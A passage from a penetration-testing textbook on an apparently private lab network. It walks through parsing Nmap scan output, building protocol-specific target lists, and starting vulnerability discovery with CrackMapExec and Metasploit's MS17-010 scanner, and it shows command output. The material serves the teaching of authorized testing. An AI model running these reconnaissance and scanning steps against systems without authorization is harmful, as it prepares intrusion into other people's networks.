9b:54:3e:32:3f:ba:a2:dc:cd:64:61:3b:d3:84:ed:a6 (RSA) | 256 2d:c0:2e:02:67:7b:b0:1c:55:72:df:8c:38:b4:d0:bd (ECDSA) |_ 256 10:80:0d:19:3f:ba:98:67:f0:03:40:82:43:82:bb:3c (ED25519) Essentially, this script is just returning the target SSH server’s key fingerprint, which is used to identify an SSH host and ensure that a user is connecting to the server they intend to. Typically, this information is stored in the ~/.known_hosts file—that is, if you have initiated an SSH session with this host before. The NSE script output is stored in the .nmap file, not the .gnmap file that has been our primary focus up until this point. Sorting through this output isn’t as efficient as it could be using only cat and grep. This is because NSE scripts are a community effort created by various indi- viduals, so naming conventions and spacing aren’t 100% consistent. I’ll offer a few tips that can help you make your way through large scan outputs and make sure you don’t miss something juicy. The first thing I do is figure out which NSE scripts have run. Nmap determines this automatically for us based on which open ports it discovered and which service was lis- tening on that port. The easiest way to do this is to cat out the .nmap file and grep for the string “|_”: a Linux pipe followed by an underscore. Not every NSE script name begins with this string of characters, but most of them do. That means you can use this Listing 3.5 Output from ssh-hostkey NSE script Scanning large network ranges When your scope contains more than a few hundred IP addresses, you might want to consider taking a slightly different approach than outlined in listing 3.4. Sending 65,000+ probes to hundreds or thousands of systems can take a really long time, not to mention all the extra probes sent with the -sV and -A options. Instead, for large networks, I prefer to use a simple -sT connect scan for all 65k ports with no service discovery or NSE scripting. This lets me know what ports are open but not what is listening on them. Once that scan is complete, I run the scan listed in listing 3.4 but replace -p 0-65535 with a comma-separated list of open ports: for example, -p 22,80,443,3389,10000 .... 50 CHAPTER 3 Discovering network services strange-looking command to quickly identify what scripts were executed. By the way, I’m running this command from the ~/capsulecorp/discovery directory. The com- mand uses cat to display the contents of the full-sweep.nmap file. (1) That output is piped into grep, which is searching for lines containing |_, (2) which signals an NSE script and then a couple of different pipes to the cut command to grab the right field, (3) which displays the name of the NSE script that was run. All together, the com- mand looks like this: cat services/full-sweep.nmap |grep '|_' | cut -d '_' -f2 | cut -d ' ' -f1 ➥ | sort -u | grep ':' The following listing shows the output for my target environment. Yours will look sim- ilar but different depending on what services Nmap identified. ajp-methods: clock-skew: http-favicon: http-open-proxy: http-server-header: https-redirect: http-title: nbstat: p2p-conficker: smb-os-discovery: ssl-cert: ssl-date: sslv2: tls-alpn: tls-nextprotoneg: vnc-info: Now you at least have an idea which NSE scripts ran during the port scan. From here, I’m sorry to report that it’s a somewhat manual effort to sort through the .nmap file. I recommend opening it in a text editor such as vim and using the search function for the various script headings you identified. I do this because the number of lines of output varies from script to script, so trying to use grep to extract the useful informa- tion is challenging. You will, however, grow to learn which scripts are useful with grep and eventually become adept at quickly digesting this information. For example, the http-title script is a short and sweet one-liner that can sometimes help point you in the direction of a potentially vulnerable web server. Once again, use cat to list the contents of the full-sweep.nmap file and grep -i http-title to see all the web server banners that nmap was able to identify. This is a fast and easy way to get some lay-of-the-land insight into what kind of HTTP technologies are in use. The full command is cat full-sweep.nmap | grep -i http-title, and the next listing shows the output from my target environment. Yours will look similar but different depend- ing on what services Nmap identified. Listing 3.6 Identify which NSE scripts have executed 51 Port scanning with Nmap |_http-title: Welcome to AmpliFi |_http-title: Did not follow redirect to https://10.0.10.95/ |_http-title: Site doesn't have a title (text/html). |_http-title: Site doesn't have a title (text/xml). |_http-title: Welcome to AmpliFi |_http-title: Welcome to AmpliFi | http-title: BookStack |_http-title: Service Unavailable |_http-title: Not Found |_http-title: Not Found |_http-title: Not Found |_http-title: Not Found |_http-title: 403 - Forbidden: Access is denied. |_http-title: Not Found |_http-title: Not Found |_http-title: Site doesn't have a title (text/html;charset=utf-8). | http-title: Welcome to XAMPP | http-title: Welcome to XAMPP |_http-title: Not Found |_http-title: Apache Tomcat/7.0.92 |_http-title: Not Found |_http-title: TightVNC desktop [workstation01k] |_http-title: [workstation02y] |_http-title: 403 - Forbidden: Access is denied. |_http-title: IIS Windows Server |_http-title: Not Found |_http-title: Not Found |_http-title: Site doesn't have a title (text/html). |_http-title: Site doesn't have a title (text/html). |_http-title: Site doesn't have a title (text/html). You’re probably starting to notice the potential limitations of manually sorting through these large file outputs, even when using grep and cut to trim down the results. You’re absolutely right if you’re thinking that when conducting a real pentest against an enter- prise network, sorting through all that data using this method would be a cumber- some task. Fortunately, like all good security tools, Nmap produces XML output. XML (Exten- sible Markup Language) is a powerful format for storing relational information about a list of similar but different objects in a single ASCII file. With XML, you can break the results of your scan into high-level nodes called hosts. Each host possesses sub-nodes or child nodes called ports or services. Those child nodes can potentially have their own child nodes in the form of NSE script output. Nodes can also have attributes; for example, a port/service node might have attributes named port_number, service_name, service _version, and so on. Here is an example of what a host node might look like using the format that Nmap stores in the .xml scan file. Listing 3.7 NSE script output for http-title 52 CHAPTER 3 Discovering network services <host> <address addr="10.0.10.188" addrtype="ipv4"> <ports> <port protocol="tcp" portid="22"> <state state="open" reason="syn-ack"> <service name="ssh" product="OpenSSH"> </port> <port protocol="tcp" portid="80"> <state state="open" reason="syn-ack"> <service name="http" product="Apache httpd"> </port> </ports> </host> Here you can see the typical structure of an XML node. The top-level host contains a child node called address, which has two attributes storing its IPv4 address. Addition- ally, it contains two child ports, each with its own service information. 3.3 Parsing XML output with Ruby I’ve written a simple Ruby script to parse Nmap’s XML and print out all the useful information on a single line. You can grab a copy of the code from my public GitHub page https://github.com/R3dy/parsenmap. I recommend creating a separate direc- tory to store scripts you pull down from GitHub. If you find yourself conducting regu- lar pentests, you will likely build up a large collection of scripts that can be easier to manage from a centralized location. Check out the code, and then run the bundle install command to install the necessary Ruby gems. Running the parsenmap.rb script with no arguments displays the proper syntax of the script, which simply requires an Nmap XML file as input. ~$ git clone https://github.com/R3dy/parsenmap.git Cloning into 'parsenmap'... remote: Enumerating objects: 18, done. remote: Total 18 (delta 0), reused 0 (delta 0), pack-reused 18 Unpacking objects: 100% (18/18), done. ~$ cd parsenmap/ ~$ bundle install Fetching gem metadata from https://rubygems.org/............. Resolving dependencies... Using bundler 1.17.2 Using mini_portile2 2.4.0 Fetching nmap-parser 0.3.5 Installing nmap-parser 0.3.5 Fetching nokogiri 1.10.3 Installing nokogiri 1.10.3 with native extensions Listing 3.8 Nmap XML host structure Listing 3.9 Nmap XML parsing script 53 Parsing XML output with Ruby Fetching rprogram 0.3.2 Installing rprogram 0.3.2 Using ruby-nmap 0.9.3 from git://github.com/sophsec/ruby-nmap.git (at master@f6060a7) Bundle complete! 2 Gemfile dependencies, 6 gems now installed. Use `bundle info [gemname]` to see where a bundled gem is installed. ~$ ./parsenmap.rb Generates a .txt file containing the open pots summary and the .nmap information USAGE: ./parsenmap <nmap xml file> This is a script that I know I’ll use often, so I prefer to create a symbolic link to the exe- cutable somewhere that is accessible from my $PATH environment variable. You’re likely to run into this with multiple scripts, so let’s create a bin directory in your home directory and then modify ~/.bash_profile so it’s added to your $PATH. This way, you can create sym links to any scripts you use frequently. First, create the directory using mkdir ~/bin. Then append this small piece of bash script to the end of your ~/.bash_profile file. if [ -d "$HOME/bin" ] ; then PATH="$PATH:$HOME/bin" fi You’ll need to exit and restart your bash prompt or manually reload the profile with source ~/.bash_profile for the changes to take effect. Next, create a symbolic link to the parsenmap.rb script in your newly created ~/bin directory: ~$ ln -s ~/git/parsenmap/parsenmap.rb ~/bin/parsenmap Now you should be able to call the script by executing the parsenmap command from anywhere in the terminal. Let’s take a look at the output generated from our 65k port scan. Change back into the ~/capsulecorp/discovery directory, and run the following: parsenmap services/ full-sweep.xml. The long output in the next listing starts to give you an idea of the amount of information you can gather during service discovery. Imagine how much data there would be on a large enterprise pentest with hundreds or thousands of targets! ~$ parsenmap services/full-sweep.xml 10.0.10.1 53 domain generic dns response: REFUSED 10.0.10.1 80 http 10.0.10.27 22 ssh OpenSSH 7.9 protocol 2.0 10.0.10.27 5900 vnc Apple remote desktop vnc 10.0.10.88 5061 sip-tls 10.0.10.90 8060 upnp MiniUPnP 1.4 Roku; UPnP 1.0 10.0.10.90 9080 glrpc Listing 3.10 Bash script to append to ~/.bash_profile Listing 3.11 Output from parsenmap.rb 54 CHAPTER 3 Discovering network services 10.0.10.90 46996 unknown 10.0.10.95 80 http VMware ESXi Server httpd 10.0.10.95 427 svrloc 10.0.10.95 443 http VMware ESXi Web UI 10.0.10.95 902 vmware-auth VMware Authentication Daemon 1.10 Uses VNC, SOAP 10.0.10.95 8000 http-alt 10.0.10.95 8300 tmi 10.0.10.95 9080 soap gSOAP 2.8 10.0.10.125 80 http 10.0.10.138 80 http 10.0.10.151 57143 10.0.10.188 22 ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0 10.0.10.188 80 http Apache httpd 2.4.29 (Ubuntu) 10.0.10.200 53 domain 10.0.10.200 88 kerberos-sec Microsoft Windows Kerberos server time: 2019-05-21 19:57:49Z 10.0.10.200 135 msrpc Microsoft Windows RPC 10.0.10.200 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.200 389 ldap Microsoft Windows Active Directory LDAP Domain: capsulecorp.local0., Site: Default-First-Site-Name 10.0.10.200 445 microsoft-ds 10.0.10.200 464 kpasswd5 10.0.10.200 593 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.200 636 tcpwrapped 10.0.10.200 3268 ldap Microsoft Windows Active Directory LDAP Domain: capsulecorp.local0., Site: Default-First-Site-Name 10.0.10.200 3269 tcpwrapped 10.0.10.200 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.200 5357 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.200 5985 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.200 9389 mc-nmf .NET Message Framing 10.0.10.200 49666 msrpc Microsoft Windows RPC 10.0.10.200 49667 msrpc Microsoft Windows RPC 10.0.10.200 49673 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.200 49674 msrpc Microsoft Windows RPC 10.0.10.200 49676 msrpc Microsoft Windows RPC 10.0.10.200 49689 msrpc Microsoft Windows RPC 10.0.10.200 49733 msrpc Microsoft Windows RPC 10.0.10.201 80 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.201 135 msrpc Microsoft Windows RPC 10.0.10.201 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.201 445 microsoft-ds Microsoft Windows Server 2008 R2 – 2012 microsoft-ds 10.0.10.201 1433 ms-sql-s Microsoft SQL Server 2014 12.00.6024.00; SP3 10.0.10.201 2383 ms-olap4 10.0.10.201 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.201 5985 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.201 47001 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.201 49664 msrpc Microsoft Windows RPC 10.0.10.201 49665 msrpc Microsoft Windows RPC 10.0.10.201 49666 msrpc Microsoft Windows RPC 10.0.10.201 49669 msrpc Microsoft Windows RPC 55 Parsing XML output with Ruby 10.0.10.201 49697 msrpc Microsoft Windows RPC 10.0.10.201 49700 msrpc Microsoft Windows RPC 10.0.10.201 49720 msrpc Microsoft Windows RPC 10.0.10.201 53532 msrpc Microsoft Windows RPC 10.0.10.202 80 http Microsoft IIS httpd 8.5 10.0.10.202 135 msrpc Microsoft Windows RPC 10.0.10.202 443 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.202 445 microsoft-ds Microsoft Windows Server 2008 R2 – 2012 microsoft-ds 10.0.10.202 3389 ms-wbt-server 10.0.10.202 5985 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.202 8080 http Jetty 9.4.z-SNAPSHOT 10.0.10.202 49154 msrpc Microsoft Windows RPC 10.0.10.203 80 http Apache httpd 2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.5 10.0.10.203 135 msrpc Microsoft Windows RPC 10.0.10.203 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.203 443 http Apache httpd 2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.5 10.0.10.203 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 10.0.10.203 3306 mysql MariaDB unauthorized 10.0.10.203 3389 ms-wbt-server 10.0.10.203 5985 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.203 8009 ajp13 Apache Jserv Protocol v1.3 10.0.10.203 8080 http Apache Tomcat/Coyote JSP engine 1.1 10.0.10.203 47001 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.203 49152 msrpc Microsoft Windows RPC 10.0.10.203 49153 msrpc Microsoft Windows RPC 10.0.10.203 49154 msrpc Microsoft Windows RPC 10.0.10.203 49155 msrpc Microsoft Windows RPC 10.0.10.203 49156 msrpc Microsoft Windows RPC 10.0.10.203 49157 msrpc Microsoft Windows RPC 10.0.10.203 49158 msrpc Microsoft Windows RPC 10.0.10.203 49172 msrpc Microsoft Windows RPC 10.0.10.204 22 ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0 10.0.10.205 135 msrpc Microsoft Windows RPC 10.0.10.205 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.205 445 microsoft-ds 10.0.10.205 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.205 5040 unknown 10.0.10.205 5800 vnc-http TightVNC user: workstation01k; VNC TCP port: 5900 10.0.10.205 5900 vnc VNC protocol 3.8 10.0.10.205 49667 msrpc Microsoft Windows RPC 10.0.10.206 135 msrpc Microsoft Windows RPC 10.0.10.206 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.206 445 microsoft-ds 10.0.10.206 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.206 5040 unknown 10.0.10.206 5800 vnc-http Ultr@VNC Name workstation02y; resolution: 1024x800; VNC TCP port: 5900 10.0.10.206 5900 vnc VNC protocol 3.8 10.0.10.206 49668 msrpc Microsoft Windows RPC 56 CHAPTER 3 Discovering network services 10.0.10.207 25 smtp Microsoft Exchange smtpd 10.0.10.207 80 http Microsoft IIS httpd 10.0 10.0.10.207 135 msrpc Microsoft Windows RPC 10.0.10.207 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.207 443 http Microsoft IIS httpd 10.0 10.0.10.207 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 10.0.10.207 587 smtp Microsoft Exchange smtpd 10.0.10.207 593 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.207 808 ccproxy-http 10.0.10.207 1801 msmq 10.0.10.207 2103 msrpc Microsoft Windows RPC 10.0.10.207 2105 msrpc Microsoft Windows RPC 10.0.10.207 2107 msrpc Microsoft Windows RPC 10.0.10.207 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.207 5985 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.207 6001 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.207 6002 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.207 6004 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.207 6037 msrpc Microsoft Windows RPC 10.0.10.207 6051 msrpc Microsoft Windows RPC 10.0.10.207 6052 ncacn_http Microsoft Windows RPC over HTTP 1.0 10.0.10.207 6080 msrpc Microsoft Windows RPC 10.0.10.207 6082 msrpc Microsoft Windows RPC 10.0.10.207 6085 msrpc Microsoft Windows RPC 10.0.10.207 6103 msrpc Microsoft Windows RPC 10.0.10.207 6104 msrpc Microsoft Windows RPC 10.0.10.207 6105 msrpc Microsoft Windows RPC 10.0.10.207 6112 msrpc Microsoft Windows RPC 10.0.10.207 6113 msrpc Microsoft Windows RPC 10.0.10.207 6135 msrpc Microsoft Windows RPC 10.0.10.207 6141 msrpc Microsoft Windows RPC 10.0.10.207 6143 msrpc Microsoft Windows RPC 10.0.10.207 6146 msrpc Microsoft Windows RPC 10.0.10.207 6161 msrpc Microsoft Windows RPC 10.0.10.207 6400 msrpc Microsoft Windows RPC 10.0.10.207 6401 msrpc Microsoft Windows RPC 10.0.10.207 6402 msrpc Microsoft Windows RPC 10.0.10.207 6403 msrpc Microsoft Windows RPC 10.0.10.207 6404 msrpc Microsoft Windows RPC 10.0.10.207 6405 msrpc Microsoft Windows RPC 10.0.10.207 6406 msrpc Microsoft Windows RPC 10.0.10.207 47001 http Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.0.10.207 64327 msexchange-logcopier Microsoft Exchange 2010 log copier 10.0.10.220 8060 upnp MiniUPnP 1.4 Roku; UPnP 1.0 10.0.10.220 56792 unknown 10.0.10.239 80 http HP OfficeJet 4650 series printer http config Serial TH6CM4N1DY0662 10.0.10.239 443 http HP OfficeJet 4650 series printer http config Serial TH6CM4N1DY0662 10.0.10.239 631 http HP OfficeJet 4650 series printer http config Serial TH6CM4N1DY0662 10.0.10.239 3910 prnrequest 10.0.10.239 3911 prnstatus 57 Parsing XML output with Ruby 10.0.10.239 8080 http HP OfficeJet 4650 series printer http config Serial TH6CM4N1DY0662 10.0.10.239 9100 jetdirect 10.0.10.239 9220 hp-gsg HP Generic Scan Gateway 1.0 10.0.10.239 53048 10.0.10.160 22 ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0 That’s a lot of output, even for a small network. I’m sure you can imagine what this might look like if you were conducting an enterprise pentest targeting an organiza- tion with 10,000+ computer systems. As you’ve seen for yourself, scrolling through this output line by line is not practical. Of course, you can use grep to limit your output to specific targeted items one by one, but what if you miss stuff? I find that the only answer is to separate everything into protocol-specific target lists. This way, I can run individual tools that accept a text file with IP addresses as an input (most of them do), and I can split my tasks into relational groups. For example, I test X, Y, and Z for all web services; then I do A, B, and C against all the database services; and so on. If you have a really large network, the number of unique protocols is in the dozens or even the hundreds. That said, most of the time you’ll end up ignoring the less com- mon protocols because there is so much low-hanging-fruit in the more common pro- tocols, including HTTP/HTTPS, SMB, SQL (all flavors), and any arbitrary RMI ports such as SSH, RDP, VNC, and so on. 3.3.1 Creating protocol-specific target lists To maximize this data, you can break it into smaller, more digestible chunks. Some- times it’s best to throw everything into a good old-fashioned spreadsheet program, sort and organize the information by column, split things into individual tabs, and create a more readable set of data. For this reason, parsenmap outputs tab-delimited strings that import nicely into Microsoft Excel or LibreOffice. Run the command again, but this time use the greater-than operator to output the parsed ports into a file: ~$ parsenmap services/full-sweep.xml > services/all-ports.csv This file can be opened in LibreOffice Calc, which should already be on your Ubuntu pentest platform. After you select the file to open, you’ll be presented with a Text Import wizard. Make sure to uncheck all of the separator options except Tab and Merge Delimiters. Now you can add the appropriate column headings and apply sorting and filter- ing. If it pleases you, you can also use separate protocol-specific tabs. There is no right or wrong way to do this—do whatever works best for you to trim the large data set into manageable chunks that you can work with. In my case, I’ll create a few text files in my discovery/hosts directory containing the IP addresses of hosts running specific proto- cols. Based on the output from Nmap, I only need to create five files. I’ll list the name of the file I will create as well as the port number that corresponds to each of the IP addresses in that file (table 3.2). 58 CHAPTER 3 Discovering network services In the next chapter, we’ll use these target files to start hunting for vulnerable attack vectors. If you plan to follow along on your network, make sure you have created them before moving forward. If it isn’t already apparent, a pentest is a process that builds on itself. So far, we’ve turned our list of IP address ranges into specific targets, and then turned those targets into individual services. The next part of the information-discovery phase is vulnera- bility discovery. Here is where you finally start interrogating discovered network ser- vices for known security weaknesses such as insecure credentials, poor system configurations, and missing software patches. Summary  Network services are the entry points that attackers target, like doors and win- dows in a secure building.  Service banners reveal useful information about which software is running on your target host.  Launch a small common port scan before sweeping for all 65k ports.  It’s ok to use nmap’s –-top-ports flag, but it’s even better to provide your own list of ports that you commonly have success attacking.  XML output is the most desirable to parse. Parsenmap is a Ruby script freely available on GitHub.  Use the information obtained during this sub-phase to build protocol-specific target lists that will feed into the next sub-phase: vulnerability discovery. Table 3.2 Protocol-specific target lists Filename Associated protocol Associated ports discovery/hosts/web.txt http/https 80,443,8080 discovery/hosts/windows.txt microsoft-ds 139,445 discovery/hosts/mssql.txt ms-sql-s 1,433 discovery/hosts/mysql.txt mysql 3,306 discovery/hosts/vnc.txt vnc 5800,5900 Exercise 3.1: Creating protocol-specific target lists Use Nmap to enumerate listening services from your targets.txt file. Create an all- ports.csv file in your services folder using the parsenmap.rb script. Use this file to identify common services in your network scope: for example, http, mysql, and microsoft-ds. Create a set of protocol-specific target lists in your hosts directory following the example from table 3.2. The protocol-specific target lists you create during this exercise will serve as a basis for your vulnerability discovery efforts, which you’ll learn about in the next chapter. 59 Discovering network vulnerabilities Now that our movie heist crew has finished mapping out all of the entry points leading into their target facility, the next thing they have to do is determine which (if any) are vulnerable to attack. Are there any open windows that somebody forgot to close? Are there any closed windows that somebody forgot to lock? Do the freight/service elevators around the back of the building require the same type of keycard access as the main elevators in the lobby? Who has access to one of those keycards? These and many more are the types of questions our “bad guys” should be asking themselves during this phase of the break-in. From the perspective of an internal network penetration test (INPT), we want to figure out which of the services we just identified (the network entry points) are vulnerable to a network attack. So, we need to answer questions like the following: This chapter covers  Creating effective password lists  Brute-force password-guessing attacks  Discovering patching vulnerabilities  Discovering web server vulnerabilities 60 CHAPTER 4 Discovering network vulnerabilities  Does system XYZ still have the default administrator password?  Is the system current? Meaning is it using all the latest security patches and ven- dor updates?  Is the system configured to allow anonymous or guest access? Being able to think like an attacker whose sole purpose is to get inside by any means necessary is critical to uncovering weaknesses in your target environment. 4.1 Understanding vulnerability discovery Just as in the previous sub-phases, vulnerability discovery begins where the last sub-phase left off: you should have created a set of protocol-specific target lists, which are noth- ing more than a bunch of text files containing IP addresses. The files are grouped by listening services, meaning you have one file for each network protocol you want to assess, and that file should contain the IP address of every host you identified during the previous phase that is running that specific service. For the sake of this example engagement, I’ve created target lists for Windows, MSSQL, MySQL, HTTP, and VNC services. Figure 4.1 is a high-level depiction of the vulnerability-discovery process. The emphasis here should be placed on the three actions:  Try common credentials  Identify target patch-level  Analyze web-based attack surfaces More on vulnerability management You might already be familiar with vulnerability discovery in the form of using a com- mercial vulnerability management solution such as Qualys or Nessus. If that’s the case, then I’m sure you’ll wonder why this chapter doesn’t talk about Common Vul- nerabilities and Exposures (CVE), the Common Vulnerability Scoring System (CVSS), the National Vulnerability Database (NVD), and a lot of other acronyms related to net- work vulnerabilities. These are great topics to discuss when learning about vulnerability management, which is not the focus of the methodology you’re learning in this book. A typical inter- nal network penetration test (INTP) is used to simulate an attack from a malicious person or persons with some degree of sophistication in manual attack and penetra- tion techniques. If you want to learn more about the vulnerability management side of things, check out these websites for additional reading:  National Institute of Standards and Technology (NIST) CVSS: https://nvd.nist.gov/ vuln-metrics/cvss  MITRE Corporation CVE list: https://cve.mitre.org 61 Understanding vulnerability discovery The tools that are listed in this figure are specific only to the exercises you’ll work through in this chapter. It’s not a requirement for you to use these tools per se to per- form vulnerability discovery on an INPT. Each target list gets fed into one or more vulnerability-discovery tools to identify exploitable weaknesses such as missing, weak, or default credentials; missing software updates; and insecure configuration settings. The tools you’ll use to uncover vulnera- bilities are CrackMapExec, Metasploit, Medusa, Exploit-DB, and Webshot. The first three should already be installed and working on your attack platform. The other two are introduced in this chapter. If you haven’t yet set up CrackMapExec, Metasploit, or Medusa, you’ll need to do that before continuing further. You can find instructions in appendix B. If you are following along with the preconfigured pentest system from the Capsulecorp Pentest project, these tools are already installed and configured appropriately for you. 4.1.1 Following the path of least resistance As simulated network attackers, we always want to look for the path of least resistance. Vulnerabilities and attack vectors vary in terms of the level of effort required to success- fully and reliably compromise an affected target. With that in mind, the most consistent and easiest-to-find attack vectors are usually the ones we go after first. These easy-to-spot vectors are sometimes referred to as low-hanging-fruit (LHF) vulnerabilities. Individual Target Lists A. Protocol-specific target lists generated during service discovery C. All discovered vulnerabilities will fit into one of three categories: authentication, patching, or configuration. B. The target lists are fed as input to the different tools used throughout this phase to discover network vulnerabilities. CrackMapExec Try common credentials Medusa Metasploit Framework Webshot Exploit-DB Identify target patch-level Analyze web-based attack surfaces Figure 4.1 The vulnerability-discovery sub-phase workflow 62 CHAPTER 4 Discovering network vulnerabilities When targeting LHF vulnerabilities, the thought process is that if we can get in somewhere quickly and quietly, we can avoid making too much noise on the network, which is useful on certain engagements where operating stealth is required. The Metasploit framework contains a useful auxiliary module for quickly and reliably iden- tifying a LHF Windows vulnerability frequently used by attackers—the MS17-010 (code name: Eternal Blue) vulnerability. 4.2 Discovering patching vulnerabilities Discovering patching vulnerabilities is as straightforward as identifying exactly which version of a particular software your target is running and then comparing that version to the latest stable release available from the software vendor. If your target is on an older release, you can then check public exploit databases to see if the newest release patched any remote code execution bugs that the older version may be vulnerable to. For example, using your service discovery data from the previous phase (chapter 3, listing 3.7), you can see that one of our target systems is running Apache Tomcat/ 7.0.92. If you head over to the Apache Tomcat 7 page at https://tomcat.apache.org/ download-70.cgi, you see the latest available version of Apache Tomcat (at the time of this writing, 7.0.94). As an attacker, you could make the assumption that the developers fixed a lot of bugs between 7.0.92 and 7.0.94, and it’s possible that one of those bugs resulted in an exploitable weakness. Now, if you look at the public exploit database (https://www.exploit-db.com) and search for “Apache Tomcat 7,” you can see the list of all the current known exploitable attack vectors and determine which ones your tar- get might be vulnerable to (figure 4.2). In the case of MS17-010, it’s even easier because Metasploit has already created a simple module to tell whether a host is vulnerable. First, though, let’s use Crack- MapExec (CME) to enumerate our list of Windows targets just to get a feel for what versions are active on this network. MS17-010 was patched back in 2017 and doesn’t typically affect Windows Server 2012 or greater. If our target network is running mostly up-to-date Windows boxes, then Eternal Blue is unlikely to be present. Run the following command from your pentest VM: cme smb /path/to/your/windows.txt. Remember that the windows.txt file contains all of the IP addresses that were running port 445 during service-discovery. MS17-010: The Eternal Blue vulnerability Check out the advisory from Microsoft for specific details about this critical security bug: http://mng.bz/ggAe. Start at the official MS Docs page, and then use the exter- nal reference links (there are a lot of them) to go as far down the rabbit hole as you like. We won’t be diving into this vulnerability or be covering software exploitation from a research and development point of view because it is not necessary for net- work pentesting. Contrary to popular opinion, a pentester doesn’t need to understand the intricate details of software exploitation. That said, many are interested in the topic, and if you want to go that route, I recommend starting with Hacking: The Art of Exploitation by Jon Erickson (No Starch Press, 2nd ed. 2008). 63 Discovering patching vulnerabilities DEFINITION Box is a commonly accepted industry term used to describe com- puter systems. Pentesters often use this term exclusively when talking with their peers about computers on a network: “I found a Windows box that was missing MS17-010 . . .” The output from that command, shown in listing 4.1, indicates that we may be in luck. One older version of Windows is running on this network and is potentially vulnerable to Eternal Blue: Windows 6.1, which is either a Windows 7 workstation or a Windows Server 2008 R2 system. (We know this from checking the Microsoft Docs Operating System Version page at http://mng.bz/emV9.) CME 10.0.10.206:445 YAMCHA [*] Windows 10.0 Build 17763 (name:YAMCHA) (domain:CAPSULECORP) CME 10.0.10.201:445 GOHAN [*] Windows 10.0 Build 14393 (name:GOHAN) (domain:CAPSULECORP) CME 10.0.10.207:445 RADITZ [*] Windows 10.0 Build 14393 (name:RADITZ) (domain:CAPSULECORP) CME 10.0.10.200:445 GOKU [*] Windows 10.0 Build 17763 (name:GOKU) (domain:CAPSULECORP) CME 10.0.10.202:445 VEGETA [*] Windows 6.3 Build 9600 (name:VEGETA) (domain:CAPSULECORP) CME 10.0.10.203:445 TRUNKS [*] Windows 6.3 Build 9600 (name:TRUNKS) (domain:CAPSULECORP) CME 10.0.10.208:445 TIEN [*] Windows 6.1 Build 7601 (name:TIEN) (domain:CAPSULECORP) CME 10.0.10.205:445 KRILLIN [*] Windows 10.0 Build 17763 (name:KRILLIN) (domain:CAPSULECORP) Listing 4.1 Output: using CME to identify the Windows version Figure 4.2 Searching the public exploit database for “Apache Tomcat 7” The host at 10.0.10.208 is running Windows 6.1, which may be vulnerable to MS17-010. 64 CHAPTER 4 Discovering network vulnerabilities It’s possible that this system could be missing the MS17-010 security update from Mic- rosoft. All we have to do now is find out by running the Metasploit auxiliary scan module. 4.2.1 Scanning for MS17-010 Eternal Blue To use the Metasploit module, you will of course have to fire up the msfconsole from your pentest VM. Type use auxiliary/scanner/smb/smb_ms17_010 at the console prompt to select the module. Set the rhosts variable to point to your windows.txt file like this: set rhosts file:/path/to/your/windows.txt. Now run the module by issu- ing the run command at the prompt. The following listing shows what it looks like to run this module. msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/windows.txt rhosts => file:/home/royce/capsulecorp/discovery/hosts/windows.txt msf5 auxiliary(scanner/smb/smb_ms17_010) > run [-] 10.0.10.200:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 1 of 8 hosts (12% complete) [-] 10.0.10.201:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 2 of 8 hosts (25% complete) [-] 10.0.10.202:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 3 of 8 hosts (37% complete) [-] 10.0.10.203:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 4 of 8 hosts (50% complete) [-] 10.0.10.205:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 5 of 8 hosts (62% complete) [-] 10.0.10.206:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 6 of 8 hosts (75% complete) [-] 10.0.10.207:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] Scanned 7 of 8 hosts (87% complete) [+] 10.0.10.208:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] Scanned 8 of 8 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/smb/smb_ms17_010) > From this output, it’s clear that a single host running Windows 7 Professional build 7601 is potentially vulnerable to Eternal Blue. If you read the source code for the scanner module, you can see that during the SMB handshake, it checks for the presence of a string that isn’t present on patched systems. This means 